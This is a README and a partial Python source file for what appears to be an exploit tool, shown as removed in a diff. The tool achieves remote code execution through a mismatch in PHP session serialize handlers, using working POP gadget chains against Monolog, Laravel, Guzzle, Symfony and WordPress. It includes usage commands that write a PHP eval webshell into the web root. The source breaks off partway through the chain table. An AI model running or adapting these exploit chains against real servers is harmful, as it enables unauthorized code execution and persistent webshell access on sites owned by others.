### Attack flow
|
||||
|
||||
```
|
||||
1. Attacker POSTs to endpoint A (php_serialize handler):
|
||||
data = |O:28:"Monolog\Handler\GroupHandler":1:{...}
|
||||
|
||||
2. PHP stores this in the session file as:
|
||||
a:1:{s:4:"data";s:550:"|O:28:"Monolog\Handler\GroupHandler":1:{...}";}
|
||||
|
||||
3. Attacker GETs endpoint B (php handler) with the same session ID.
|
||||
session_start() reads the file and splits on |:
|
||||
key = a:1:{s:4:"data";s:550:"
|
||||
value = O:28:"Monolog\Handler\GroupHandler":1:{...}
|
||||
PHP calls unserialize() on the value.
|
||||
|
||||
4. The deserialized object's __destruct method fires,
|
||||
triggering the POP gadget chain for RCE.
|
||||
```
|
||||
|
||||
### What makes a target vulnerable
|
||||
|
||||
The exploit requires ALL of the following:
|
||||
|
||||
1. **Two endpoints with different session serialize handlers.** One must use
|
||||
`php_serialize`, the other must use the default `php`. PHP's own default
|
||||
is `php` for both, so this mismatch only occurs when a framework or
|
||||
application explicitly changes the handler for some endpoints.
|
||||
|
||||
2. **Shared session storage.** Both endpoints must read/write the same
|
||||
session files (same `session.save_path`). This is the default when
|
||||
both run under the same PHP installation.
|
||||
|
||||
3. **A POP gadget chain in autoloaded classes.** The deserialized objects
|
||||
must exist in classes that PHP has loaded (via autoloader or require).
|
||||
The chain must reach a dangerous sink (system(), file_put_contents(), etc.)
|
||||
through magic methods (__destruct, __wakeup, __toString, etc.).
|
||||
|
||||
### Where this mismatch occurs in practice
|
||||
|
||||
- **Laravel** sets `session.serialize_handler = php_serialize` in its
|
||||
session bootstrap. Any non-Laravel PHP on the same vhost (phpMyAdmin,
|
||||
admin scripts, health checks, legacy code) uses the PHP default `php`.
|
||||
|
||||
- **Symfony** configures `php_serialize` via `NativeSessionStorage`. Adjacent
|
||||
applications on the same server may not.
|
||||
|
||||
- **Shared hosting** where multiple PHP applications share the same session
|
||||
save path but use different frameworks.
|
||||
|
||||
- **Mixed codebases** where old and new code coexist on the same domain,
|
||||
with the new code using a framework and the old code using raw PHP sessions.
|
||||
|
||||
A single-application deployment where every endpoint uses the same handler
|
||||
is NOT vulnerable to this attack.
|
||||
|
||||
## Injection Modes
|
||||
|
||||
### inject (primary)
|
||||
|
||||
The target has an endpoint that stores POST data into `$_SESSION` using
|
||||
the `php_serialize` handler. The attacker sends `|<serialized_chain>` as
|
||||
a POST value. A second request to a `php`-handler endpoint triggers
|
||||
deserialization.
|
||||
|
||||
```bash
|
||||
python3 exploit.py --inject-url http://target/save.php \
|
||||
--inject-param data \
|
||||
--trigger-url http://target/view.php \
|
||||
--chain laravel10-cmd --cmd 'id'
|
||||
```
|
||||
|
||||
### progress (no app session storage needed)
|
||||
|
||||
Uses `session.upload_progress` to inject the `|` character via the upload
|
||||
filename field. No application-level session writing needed. Combined with
|
||||
the OOM crash from CVE-2026-109618 to persist past cleanup.
|
||||
|
||||
Limitation: multipart filenames cannot contain NULL bytes, so the POP chain
|
||||
can only use public properties (no protected/private property serialization).
|
||||
|
||||
```bash
|
||||
python3 exploit.py --mode progress \
|
||||
--write-url http://target/any.php \
|
||||
--trigger-url http://target/default.php \
|
||||
--chain wordpress-cmd --cmd 'id'
|
||||
```
|
||||
|
||||
## Built-in POP Chains
|
||||
|
||||
Each chain is tested end-to-end through the full HTTP exploit flow
|
||||
on PHP 8.3 against the listed library version.
|
||||
|
||||
### Current versions (work on latest releases)
|
||||
|
||||
| Chain | Library | Tested on | Type | Description |
|
||||
|---|---|---|---|---|
|
||||
| `monolog3-fw` | monolog/monolog 3.0+ | 3.12.1 | File write | GroupHandler > DeduplicationHandler > file_put_contents |
|
||||
| `laravel10-cmd` | illuminate 10.0-13.x+ | v13.38.0 | Command | PendingBroadcast > CommonMark Environment > ChainedBatchTruthTest > system() |
|
||||
| `laravel10-fw` | illuminate 10.0-13.x+ | v13.38.0 | File write | Same chain, writes via system("printf ... > path") |
|
||||
|
||||
### Legacy versions
|
||||
|
||||
| Chain | Library | Tested on | Type | Description |
|
||||
|---|---|---|---|---|
|
||||
| `monolog-cmd` | monolog/monolog 1.17.2-2.x | 2.10.0 | Command | SyslogUdpHandler > BufferHandler (self-ref) > system() |
|
||||
| `monolog-fw` | monolog/monolog 1.17.2-2.x | 2.10.0 | File write | Same chain, writes via system("printf ...") |
|
||||
| `laravel-cmd` | illuminate 5.4-8.x | 8.83.27 | Command | PendingBroadcast > Dispatcher > system() |
|
||||
| `laravel-fw` | illuminate 5.4-8.x | 8.83.27 | File write | Same chain, writes via system("printf ...") |
|
||||
| `guzzle-fw` | guzzlehttp/guzzle 4.0-7.x | 7.16.0 | File write | FileCookieJar > save() > file_put_contents (JSON wrapped) |
|
||||
| `symfony-cmd` | symfony 2.6-4.4.18 | 4.4.18 | Command | WindowsPipes > SortableIterator > ArrayObject > call_user_func("system") |
|
||||
| `symfony-fw` | symfony 2.6-4.4.18 | 4.4.18 | File write | Same chain, writes via system("printf ...") |
|
||||
| `wordpress-cmd` | WordPress 6.4.0-6.4.1 | 6.4.1 | Command | WP_HTML_Token.__destruct > call_user_func (public props, NULL-free) |
|
||||
| `wordpress-fw` | WordPress 6.4.0-6.4.1 | 6.4.1 | File write | Same chain, writes via system("printf ...") |
|
||||
|
||||
### Why some chains have version ceilings
|
||||
|
||||
- **Monolog 3.0+** introduced typed properties (`Monolog\Level` enum). The 2.x
|
||||
RCE1 chain sets `$level = null`, which throws `TypeError` on typed properties.
|
||||
The 3.x chain uses `GroupHandler` + `DeduplicationHandler` instead.
|
||||
|
||||
- **Laravel 9.0+** changed `Dispatcher::dispatch()` to wrap string listeners
|
||||
in `createClassListener()`, which calls `$this->container->make()` on a null
|
||||
container. The RCE22 chain routes through `league/commonmark` `Environment`
|
||||
instead.
|
||||
|
||||
- **Guzzle 8.0+** added `__unserialize()` on `FileCookieJar` that throws
|
||||
`LogicException` on deserialization.
|
||||
|
||||
- **Symfony 4.4.19+** added `__wakeup()` on `WindowsPipes` that throws
|
||||
`BadMethodCallException`.
|
||||
|
||||
- **WordPress 6.4.2+** added `__wakeup()` on `WP_HTML_Token` that throws
|
||||
`LogicException`. All other WP core gadget classes (`FilteredIterator`,
|
||||
`Requests\Hooks`) are also patched. No known POP chain exists in WordPress
|
||||
7.x core.
|
||||
|
||||
### Custom chains
|
||||
|
||||
Any phpggc chain works via `--chain-file`. Supports raw PHP serialized output
|
||||
and base64 (auto-detected).
|
||||
|
||||
```bash
|
||||
phpggc Monolog/RCE1 system id > chain.bin
|
||||
python3 exploit.py --inject-url http://target/save.php \
|
||||
--inject-param data \
|
||||
--trigger-url http://target/view.php \
|
||||
--chain-file chain.bin
|
||||
|
||||
# Or base64:
|
||||
phpggc Laravel/RCE22 system id -b > chain.b64
|
||||
python3 exploit.py ... --chain-file chain.b64
|
||||
```
|
||||
|
||||
## Usage
|
||||
|
||||
```bash
|
||||
# File write webshell (Monolog 3.x, current):
|
||||
python3 exploit.py --inject-url http://target/save.php \
|
||||
--inject-param data \
|
||||
--trigger-url http://target/view.php \
|
||||
--chain monolog3-fw \
|
||||
--write-path /var/www/html/shell.php
|
||||
|
||||
# Direct command execution (Laravel 10+, current):
|
||||
python3 exploit.py --inject-url http://target/save.php \
|
||||
--inject-param data \
|
||||
--trigger-url http://target/view.php \
|
||||
--chain laravel10-cmd --cmd 'id'
|
||||
|
||||
# Custom shell code:
|
||||
python3 exploit.py ... --chain monolog3-fw \
|
||||
--write-path /var/www/html/s.php \
|
||||
--shell-code '<?php eval($_POST["x"]); ?>'
|
||||
|
||||
# Progress mode (no POST-to-session endpoint needed):
|
||||
python3 exploit.py --mode progress \
|
||||
--write-url http://target/any_endpoint.php \
|
||||
--trigger-url http://target/default_handler.php \
|
||||
--chain wordpress-cmd --cmd 'id'
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
```
|
||||
--mode {inject,progress} Injection mode (default: inject)
|
||||
--inject-url URL Endpoint that stores POST data in $_SESSION (php_serialize)
|
||||
--inject-param PARAM POST parameter stored in $_SESSION (default: data)
|
||||
--write-url URL Any endpoint for progress mode injection
|
||||
--trigger-url URL Endpoint using default php handler (triggers deserialization)
|
||||
--chain CHAIN Built-in POP chain name
|
||||
--chain-file FILE Custom serialized chain (phpggc output, raw or base64)
|
||||
--write-path PATH File path for fw chains (webshell destination)
|
||||
--shell-code CODE Custom PHP code for fw chains
|
||||
--cmd CMD Command for cmd chains
|
||||
--fields N OOM pressure fields for progress mode (default: 30000)
|
||||
--field-size N Bytes per OOM field (default: 512)
|
||||
```
|
||||
|
||||
## Test Environment
|
||||
|
||||
The test endpoints used for verification:
|
||||
|
||||
`test_serialize.php` (inject endpoint, uses php_serialize):
|
||||
```php
|
||||
<?php
|
||||
ini_set('session.serialize_handler', 'php_serialize');
|
||||
session_start();
|
||||
foreach ($_POST as $k => $v) $_SESSION[$k] = $v;
|
||||
```
|
||||
|
||||
`test_trigger.php` (trigger endpoint, uses default php handler):
|
||||
```php
|
||||
<?php
|
||||
require 'vendor/autoload.php'; // loads framework classes
|
||||
session_start(); // deserializes session data
|
||||
```
|
||||
|
||||
The mismatch between `php_serialize` on the first and `php` (default) on the
|
||||
second is what enables the attack.
|
||||
@@ -1,6 +0,0 @@
|
||||
{
|
||||
"require": {
|
||||
"monolog/monolog": "1.27.1",
|
||||
"fakerphp/faker": "^1.24"
|
||||
}
|
||||
}
|
||||
@@ -1,995 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
PHP Session Deserialization RCE via Handler Mismatch
|
||||
|
||||
No LFI. No FPM. Works on any SAPI (mod_php, FPM, litespeed, etc.).
|
||||
|
||||
Exploits the combination of:
|
||||
1. session.upload_progress writes attacker data to session files
|
||||
2. A session.serialize_handler mismatch between two endpoints
|
||||
3. A POP gadget chain in the application's autoloaded classes
|
||||
|
||||
When one endpoint uses php_serialize and another uses the default php
|
||||
handler, the pipe character '|' injected into session data is
|
||||
misinterpreted as a key/value delimiter, causing arbitrary
|
||||
deserialization of attacker-controlled objects.
|
||||
|
||||
Two injection modes:
|
||||
|
||||
inject (primary, full POP chain support)
|
||||
Target has an endpoint that stores POST data in $_SESSION via
|
||||
php_serialize handler. Attacker sends |<serialized_chain> as
|
||||
a POST value. A second request to a php-handler endpoint
|
||||
triggers deserialization when session_start() reads the file.
|
||||
|
||||
progress (no app involvement, limited chains)
|
||||
Uses session.upload_progress to inject '|' via the upload
|
||||
filename. No application session storage needed, but the
|
||||
multipart parser truncates NULL bytes in filenames, so the
|
||||
POP chain can only use public properties. Combined with
|
||||
OOM crash (CVE-2026-109618) to persist past cleanup.
|
||||
|
||||
Handler mismatch is common in the wild:
|
||||
- Laravel sets php_serialize in its bootstrap; any non-Laravel
|
||||
PHP on the same vhost (phpMyAdmin, admin scripts, legacy code)
|
||||
uses the default php handler
|
||||
- Symfony configures php_serialize; adjacent apps may not
|
||||
- Mixed old/new codebases on shared hosting
|
||||
|
||||
Requirements:
|
||||
- session.upload_progress.enabled = 1 (default, for progress mode)
|
||||
- Two endpoints with different session.serialize_handler settings
|
||||
- A POP gadget chain in autoloaded classes
|
||||
- session.save_handler = files (default)
|
||||
|
||||
Built-in chains (--chain):
|
||||
monolog3-fw Monolog 3.0+ FW (CURRENT) --write-path /path/shell.php
|
||||
monolog-cmd Monolog 1.17.2-2.x RCE --cmd 'id'
|
||||
monolog-fw Monolog 1.17.2-2.x FW --write-path /path/shell.php
|
||||
laravel10-cmd Laravel 10.0-13.x+ (CURRENT) --cmd 'id'
|
||||
laravel10-fw Laravel 10.0-13.x+ (CURRENT) --write-path /path/shell.php
|
||||
laravel-cmd Laravel/Illuminate 5.4-8.x --cmd 'id'
|
||||
laravel-fw Laravel/Illuminate 5.4-8.x --write-path /path/shell.php
|
||||
guzzle-fw Guzzle 4.0-7.x FW --write-path /path/shell.php
|
||||
symfony-cmd Symfony 2.6-4.4.18 RCE --cmd 'id'
|
||||
symfony-fw Symfony 2.6-4.4.18 FW --write-path /path/shell.php
|
||||
wordpress-cmd WordPress 6.4.0-6.4.1 RCE --cmd 'id' (NULL-free)
|
||||
wordpress-fw WordPress 6.4.0-6.4.1 FW --write-path /path/shell.php
|
||||
|
||||
Custom chains (--chain-file):
|
||||
phpggc Laravel/RCE1 system id > chain.bin
|
||||
python3 exploit.py ... --chain-file chain.bin
|
||||
|
||||
Tested: PHP 8.0-8.4, Linux, mod_php and PHP-FPM.
|
||||
|
||||
Usage:
|
||||
# Inject mode (most practical):
|
||||
python3 exploit.py --inject-url http://target/save.php \\
|
||||
--inject-param data \\
|
||||
--trigger-url http://target/view.php \\
|
||||
--chain monolog-fw \\
|
||||
--write-path /var/www/html/s.php
|
||||
|
||||
# Inject mode with direct command execution:
|
||||
python3 exploit.py --inject-url http://target/save.php \\
|
||||
--inject-param data \\
|
||||
--trigger-url http://target/view.php \\
|
||||
--chain monolog-cmd --cmd 'id'
|
||||
|
||||
# Custom phpggc chain (raw or base64):
|
||||
phpggc Monolog/RCE1 system id > chain.bin
|
||||
python3 exploit.py --inject-url http://target/save.php \\
|
||||
--inject-param data \\
|
||||
--trigger-url http://target/view.php \\
|
||||
--chain-file chain.bin
|
||||
|
||||
# Progress mode (no app session injection needed):
|
||||
python3 exploit.py --mode progress \\
|
||||
--write-url http://target/serialize.php \\
|
||||
--trigger-url http://target/default.php \\
|
||||
--chain-file chain_pub.bin
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
import sys
|
||||
import time
|
||||
import urllib.parse
|
||||
from urllib.parse import urlparse
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
# PHP serialization
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
|
||||
def php_str(s):
|
||||
if isinstance(s, str):
|
||||
s = s.encode()
|
||||
return b"s:" + str(len(s)).encode() + b':"' + s + b'";'
|
||||
|
||||
def php_int(n):
|
||||
return b"i:" + str(n).encode() + b";"
|
||||
|
||||
def php_bool(v):
|
||||
return b"b:" + (b"1" if v else b"0") + b";"
|
||||
|
||||
def php_null():
|
||||
return b"N;"
|
||||
|
||||
def php_arr(entries):
|
||||
body = b"".join(k + v for k, v in entries)
|
||||
return b"a:" + str(len(entries)).encode() + b":{" + body + b"}"
|
||||
|
||||
def php_obj(cls, props):
|
||||
body = b"".join(k + v for k, v in props)
|
||||
cn = cls.encode() if isinstance(cls, str) else cls
|
||||
return (b"O:" + str(len(cn)).encode() + b':"' + cn + b'":'
|
||||
+ str(len(props)).encode() + b":{" + body + b"}")
|
||||
|
||||
def php_enum(cls, case):
|
||||
label = f"{cls}:{case}"
|
||||
return b"E:" + str(len(label)).encode() + b':"' + label.encode() + b'";'
|
||||
|
||||
def php_datetime_immutable():
|
||||
from datetime import datetime, timezone
|
||||
now = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M:%S.000000")
|
||||
return php_obj("DateTimeImmutable", [
|
||||
(php_str("date"), php_str(now)),
|
||||
(php_str("timezone_type"), php_int(3)),
|
||||
(php_str("timezone"), php_str("UTC")),
|
||||
])
|
||||
|
||||
def prot(name):
|
||||
n = name.encode() if isinstance(name, str) else name
|
||||
return php_str(b"\x00*\x00" + n)
|
||||
|
||||
def priv(cls, name):
|
||||
c = cls.encode() if isinstance(cls, str) else cls
|
||||
n = name.encode() if isinstance(name, str) else name
|
||||
return php_str(b"\x00" + c + b"\x00" + n)
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
# POP gadget chains
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
|
||||
def _rce1_chain(func, param):
|
||||
"""Monolog/RCE1 gadget (1.4.1-1.6.0, 1.17.2-2.7.0+).
|
||||
|
||||
SyslogUdpHandler.__destruct (inherited AbstractHandler.__destruct)
|
||||
-> close()
|
||||
-> $this->socket->close() socket = BufferHandler
|
||||
BufferHandler::close -> flush
|
||||
-> $this->handler->handleBatch($this->buffer) handler = $this (self-ref)
|
||||
AbstractHandler::handleBatch -> foreach handle($record)
|
||||
BufferHandler::handle -> call_user_func($processor, $record) for each processor
|
||||
processors[0] = 'current' -> current([$param, 'level'=>null]) = $param
|
||||
processors[1] = $func -> $func($param)
|
||||
"""
|
||||
# r:2 is a PHP serialization back-reference to object #2, the BufferHandler
|
||||
# itself. This creates the self-referencing handler=$this that phpggc uses.
|
||||
# We build it by hand: emit SyslogUdpHandler wrapping BufferHandler,
|
||||
# with handler pointing back to the BufferHandler via reference.
|
||||
|
||||
record = php_arr([
|
||||
(php_int(0), php_str(param)),
|
||||
(php_str("level"), php_null()),
|
||||
])
|
||||
|
||||
buf = php_obj("Monolog\\Handler\\BufferHandler", [
|
||||
(prot("handler"), b"r:2;"), # back-ref to self (object index 2)
|
||||
(prot("bufferSize"), php_int(-1)),
|
||||
(prot("buffer"), php_arr([(php_int(0), record)])),
|
||||
(prot("level"), php_null()),
|
||||
(prot("initialized"), php_bool(True)),
|
||||
(prot("bufferLimit"), php_int(-1)),
|
||||
(prot("processors"), php_arr([
|
||||
(php_int(0), php_str("current")),
|
||||
(php_int(1), php_str(func)),
|
||||
])),
|
||||
])
|
||||
|
||||
return php_obj("Monolog\\Handler\\SyslogUdpHandler", [
|
||||
(prot("socket"), buf),
|
||||
])
|
||||
|
||||
|
||||
def chain_monolog_fw(write_path, shell_code):
|
||||
"""Monolog file write via system() (1.4.1-1.6.0, 1.17.2-2.x).
|
||||
|
||||
Uses the Monolog/RCE1 gadget to call system() with a printf command
|
||||
that writes shell_code to write_path.
|
||||
Requires monolog/monolog (production dep in Laravel, Symfony, etc.).
|
||||
"""
|
||||
escaped_code = shell_code.replace("'", "'\\''")
|
||||
escaped_path = write_path.replace("'", "'\\''")
|
||||
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
|
||||
return _rce1_chain("system", cmd)
|
||||
|
||||
|
||||
def chain_monolog_cmd(cmd):
|
||||
"""Monolog RCE via system() (1.4.1-1.6.0, 1.17.2-2.x).
|
||||
|
||||
Uses the Monolog/RCE1 gadget to call system($cmd).
|
||||
Requires monolog/monolog (production dep in Laravel, Symfony, etc.).
|
||||
"""
|
||||
return _rce1_chain("system", cmd)
|
||||
|
||||
|
||||
def chain_monolog3_fw(write_path, shell_code):
|
||||
"""Monolog file write via DeduplicationHandler (3.0.0+, current).
|
||||
|
||||
GroupHandler.__destruct (inherited from Handler)
|
||||
-> close()
|
||||
-> foreach $this->handlers: $handler->close()
|
||||
DeduplicationHandler::close -> flush()
|
||||
-> file_put_contents($this->deduplicationStore, $line, FILE_APPEND)
|
||||
Written format: "timestamp:DEBUG:message\\n"
|
||||
PHP ignores content before <?php, so the prefix is harmless.
|
||||
|
||||
Monolog 3.x uses typed properties (PHP 8.1+ enums for Level),
|
||||
so the Monolog 2.x RCE1 chain fails. This chain uses GroupHandler
|
||||
as entry (array-typed handlers property) and DeduplicationHandler
|
||||
as sink (file_put_contents with controlled path and message).
|
||||
|
||||
Requires monolog/monolog 3.0+ (production dep in Laravel 10+,
|
||||
Symfony 6+, and many other frameworks).
|
||||
"""
|
||||
shell_code_clean = shell_code.replace("\r", " ").replace("\n", " ")
|
||||
|
||||
log_record = php_obj("Monolog\\LogRecord", [
|
||||
(php_str("level"), php_enum("Monolog\\Level", "Debug")),
|
||||
(php_str("message"), php_str(shell_code_clean)),
|
||||
(php_str("datetime"), php_datetime_immutable()),
|
||||
])
|
||||
|
||||
dedup = php_obj("Monolog\\Handler\\DeduplicationHandler", [
|
||||
(prot("deduplicationStore"), php_str(write_path)),
|
||||
(prot("bufferSize"), php_int(1)),
|
||||
(prot("buffer"), php_arr([(php_int(0), log_record)])),
|
||||
(prot("deduplicationLevel"), php_enum("Monolog\\Level", "Debug")),
|
||||
])
|
||||
|
||||
return php_obj("Monolog\\Handler\\GroupHandler", [
|
||||
(prot("handlers"), php_arr([(php_int(0), dedup)])),
|
||||
])
|
||||
|
||||
|
||||
def chain_laravel_cmd(cmd):
|
||||
"""Laravel RCE via PendingBroadcast (5.4.0-8.6.9+).
|
||||
|
||||
PendingBroadcast.__destruct
|
||||
-> $this->events->dispatch($this->event)
|
||||
Dispatcher::dispatch($event)
|
||||
-> foreach $this->listeners[$event] as $listener: $listener($event)
|
||||
-> system($cmd)
|
||||
|
||||
$this->event = $cmd (the command string)
|
||||
$this->listeners[$cmd] = ['system']
|
||||
|
||||
Requires illuminate/events + illuminate/broadcasting
|
||||
(always present in Laravel).
|
||||
"""
|
||||
dispatcher = php_obj("Illuminate\\Events\\Dispatcher", [
|
||||
(prot("listeners"), php_arr([
|
||||
(php_str(cmd), php_arr([
|
||||
(php_int(0), php_str("system")),
|
||||
])),
|
||||
])),
|
||||
])
|
||||
|
||||
return php_obj("Illuminate\\Broadcasting\\PendingBroadcast", [
|
||||
(prot("events"), dispatcher),
|
||||
(prot("event"), php_str(cmd)),
|
||||
])
|
||||
|
||||
|
||||
def chain_laravel_fw(write_path, shell_code):
|
||||
"""Laravel file write via system() (5.4.0-8.6.9+).
|
||||
|
||||
Same PendingBroadcast gadget, calls system() with a write command.
|
||||
"""
|
||||
escaped_code = shell_code.replace("'", "'\\''")
|
||||
escaped_path = write_path.replace("'", "'\\''")
|
||||
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
|
||||
return chain_laravel_cmd(cmd)
|
||||
|
||||
|
||||
def chain_laravel10_cmd(cmd):
|
||||
"""Laravel RCE via PendingBroadcast + CommonMark (10.0-13.x+, current).
|
||||
|
||||
PendingBroadcast.__destruct
|
||||
-> $this->events->dispatch($this->event)
|
||||
Environment::dispatch($event)
|
||||
-> foreach listenerData as prioritized listeners
|
||||
-> ListenerData->listener is ChainedBatchTruthTest
|
||||
ChainedBatchTruthTest::__invoke($event)
|
||||
-> call_user_func($this->callback, $event)
|
||||
-> system($cmd)
|
||||
|
||||
Channel.__toString returns $this->name, so $event becomes the
|
||||
command string when passed to system().
|
||||
|
||||
Requires illuminate/broadcasting + league/commonmark (both present
|
||||
in all Laravel 10+ installations).
|
||||
"""
|
||||
env_cls = "League\\CommonMark\\Environment\\Environment"
|
||||
list_cls = "League\\CommonMark\\Util\\PrioritizedList"
|
||||
ld_cls = "League\\CommonMark\\Event\\ListenerData"
|
||||
|
||||
truth_test = php_obj(
|
||||
"Illuminate\\Support\\Testing\\Fakes\\ChainedBatchTruthTest", [
|
||||
(prot("callback"), php_str("system")),
|
||||
])
|
||||
|
||||
listener_data = php_obj(ld_cls, [
|
||||
(priv(ld_cls, "event"),
|
||||
php_str("\\Illuminate\\Broadcasting\\Channel")),
|
||||
(priv(ld_cls, "listener"), truth_test),
|
||||
])
|
||||
|
||||
plist = php_obj(list_cls, [
|
||||
(priv(list_cls, "list"), php_arr([
|
||||
(php_int(0), php_arr([(php_int(0), listener_data)])),
|
||||
])),
|
||||
])
|
||||
|
||||
environment = php_obj(env_cls, [
|
||||
(priv(env_cls, "extensionsInitialized"), php_bool(True)),
|
||||
(priv(env_cls, "listenerData"), plist),
|
||||
])
|
||||
|
||||
channel = php_obj("Illuminate\\Broadcasting\\Channel", [
|
||||
(php_str("name"), php_str(cmd)),
|
||||
])
|
||||
|
||||
return php_obj("Illuminate\\Broadcasting\\PendingBroadcast", [
|
||||
(prot("events"), environment),
|
||||
(prot("event"), channel),
|
||||
])
|
||||
|
||||
|
||||
def chain_laravel10_fw(write_path, shell_code):
|
||||
"""Laravel file write via system() (10.0-13.x+, current).
|
||||
|
||||
Same PendingBroadcast + CommonMark gadget, calls system() with a
|
||||
write command.
|
||||
"""
|
||||
escaped_code = shell_code.replace("'", "'\\''")
|
||||
escaped_path = write_path.replace("'", "'\\''")
|
||||
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
|
||||
return chain_laravel10_cmd(cmd)
|
||||
|
||||
|
||||
def chain_guzzle_fw(write_path, data):
|
||||
"""Guzzle file write via FileCookieJar (4.0.0-7.x, patched in 8.0).
|
||||
|
||||
FileCookieJar.__destruct -> save()
|
||||
-> file_put_contents($this->filename, json_encode(...))
|
||||
Writes JSON-encoded cookie data. The 'Value' field holds the payload.
|
||||
|
||||
The written file contains JSON wrapping around the payload.
|
||||
PHP ignores everything before <?php, so a webshell embedded in the
|
||||
Value field works when accessed via HTTP. Use single quotes in the
|
||||
shell code to avoid JSON backslash escaping (double quotes become
|
||||
\" in JSON output, which breaks PHP parsing).
|
||||
|
||||
Guzzle 8.0+ added __unserialize() that throws on deserialization.
|
||||
|
||||
Requires guzzlehttp/guzzle (extremely common HTTP client).
|
||||
"""
|
||||
cookie = php_obj("GuzzleHttp\\Cookie\\SetCookie", [
|
||||
(priv("GuzzleHttp\\Cookie\\SetCookie", "data"), php_arr([
|
||||
(php_str("Expires"), php_int(1)),
|
||||
(php_str("Discard"), php_bool(False)),
|
||||
(php_str("Value"), php_str(data)),
|
||||
])),
|
||||
])
|
||||
|
||||
jar = php_obj("GuzzleHttp\\Cookie\\FileCookieJar", [
|
||||
(priv("GuzzleHttp\\Cookie\\CookieJar", "cookies"), php_arr([
|
||||
(php_int(0), cookie),
|
||||
])),
|
||||
(priv("GuzzleHttp\\Cookie\\CookieJar", "strictMode"), php_bool(False)),
|
||||
(priv("GuzzleHttp\\Cookie\\FileCookieJar", "filename"), php_str(write_path)),
|
||||
(priv("GuzzleHttp\\Cookie\\FileCookieJar", "storeSessionCookies"), php_bool(True)),
|
||||
])
|
||||
|
||||
return jar
|
||||
|
||||
|
||||
def chain_symfony_cmd(cmd):
|
||||
"""Symfony RCE via WindowsPipes (2.6.0-4.4.18).
|
||||
|
||||
WindowsPipes.__destruct -> close -> foreach $this->fileHandles: fclose($h)
|
||||
$fileHandles is a SortableIterator wrapping an ArrayObject:
|
||||
SortableIterator implements IteratorAggregate
|
||||
getIterator() calls usort($array, $this->sort) where sort='call_user_func'
|
||||
usort compares elements via call_user_func($a, $b)
|
||||
ArrayObject contains [$function, $parameter]
|
||||
-> call_user_func('system', $cmd)
|
||||
|
||||
Requires symfony/finder + symfony/process (present in all Symfony apps).
|
||||
"""
|
||||
arr = php_obj("ArrayObject", [
|
||||
(php_int(0), php_str(cmd)),
|
||||
(php_int(1), php_str("system")),
|
||||
])
|
||||
|
||||
# ArrayObject serializes differently: uses C: format
|
||||
# We need to use the C: custom serialization format for ArrayObject
|
||||
# Use O: format (works for ArrayObject deserialization):
|
||||
# i:0 = flags(0), i:1 = storage array, i:2 = members(empty), i:3 = null
|
||||
# Storage: [0 => $func, 1 => $param] so uasort compares call_user_func($func, $param)
|
||||
arr = (b'O:11:"ArrayObject":4:{i:0;i:0;i:1;a:2:{i:0;s:6:"system";i:1;'
|
||||
+ php_str(cmd) + b"}i:2;a:0:{}i:3;N;}")
|
||||
|
||||
sortable = php_obj("Symfony\\Component\\Finder\\Iterator\\SortableIterator", [
|
||||
(priv("Symfony\\Component\\Finder\\Iterator\\SortableIterator", "iterator"), arr),
|
||||
(priv("Symfony\\Component\\Finder\\Iterator\\SortableIterator", "sort"), php_str("call_user_func")),
|
||||
])
|
||||
|
||||
return php_obj("Symfony\\Component\\Process\\Pipes\\WindowsPipes", [
|
||||
(priv("Symfony\\Component\\Process\\Pipes\\WindowsPipes", "fileHandles"), sortable),
|
||||
])
|
||||
|
||||
|
||||
def chain_symfony_fw(write_path, shell_code):
|
||||
"""Symfony file write via system() (2.6.0-4.4.18).
|
||||
|
||||
Same WindowsPipes gadget, calls system() with a write command.
|
||||
"""
|
||||
escaped_code = shell_code.replace("'", "'\\''")
|
||||
escaped_path = write_path.replace("'", "'\\''")
|
||||
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
|
||||
return chain_symfony_cmd(cmd)
|
||||
|
||||
|
||||
def chain_wordpress_cmd(cmd):
|
||||
"""WordPress RCE via WP_HTML_Token (6.4.0-6.4.1).
|
||||
|
||||
WP_HTML_Token.__destruct
|
||||
-> ($this->on_destroy)($this->bookmark_name)
|
||||
-> system($cmd)
|
||||
|
||||
Uses only PUBLIC properties, so this chain works in progress mode
|
||||
(no NULL bytes from protected/private property names).
|
||||
|
||||
Requires WordPress 6.4.0 or 6.4.1 (patched in 6.4.2).
|
||||
"""
|
||||
return php_obj("WP_HTML_Token", [
|
||||
(php_str("bookmark_name"), php_str(cmd)),
|
||||
(php_str("on_destroy"), php_str("system")),
|
||||
])
|
||||
|
||||
|
||||
def chain_wordpress_fw(write_path, shell_code):
|
||||
"""WordPress file write via WP_HTML_Token (6.4.0-6.4.1).
|
||||
|
||||
Same gadget, calls system() with a write command.
|
||||
Public properties only: works in progress mode.
|
||||
"""
|
||||
escaped_code = shell_code.replace("'", "'\\''")
|
||||
escaped_path = write_path.replace("'", "'\\''")
|
||||
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
|
||||
return chain_wordpress_cmd(cmd)
|
||||
|
||||
|
||||
CHAINS = {
|
||||
"monolog3-fw": {"type": "fw", "fn": chain_monolog3_fw, "lib": "monolog/monolog 3.0+"},
|
||||
"monolog-cmd": {"type": "cmd", "fn": chain_monolog_cmd, "lib": "monolog/monolog 1.17.2-2.x"},
|
||||
"monolog-fw": {"type": "fw", "fn": chain_monolog_fw, "lib": "monolog/monolog 1.17.2-2.x"},
|
||||
"laravel10-cmd": {"type": "cmd", "fn": chain_laravel10_cmd, "lib": "illuminate 10.0-13.x+"},
|
||||
"laravel10-fw": {"type": "fw", "fn": chain_laravel10_fw, "lib": "illuminate 10.0-13.x+"},
|
||||
"laravel-cmd": {"type": "cmd", "fn": chain_laravel_cmd, "lib": "illuminate 5.4-8.x"},
|
||||
"laravel-fw": {"type": "fw", "fn": chain_laravel_fw, "lib": "illuminate 5.4-8.x"},
|
||||
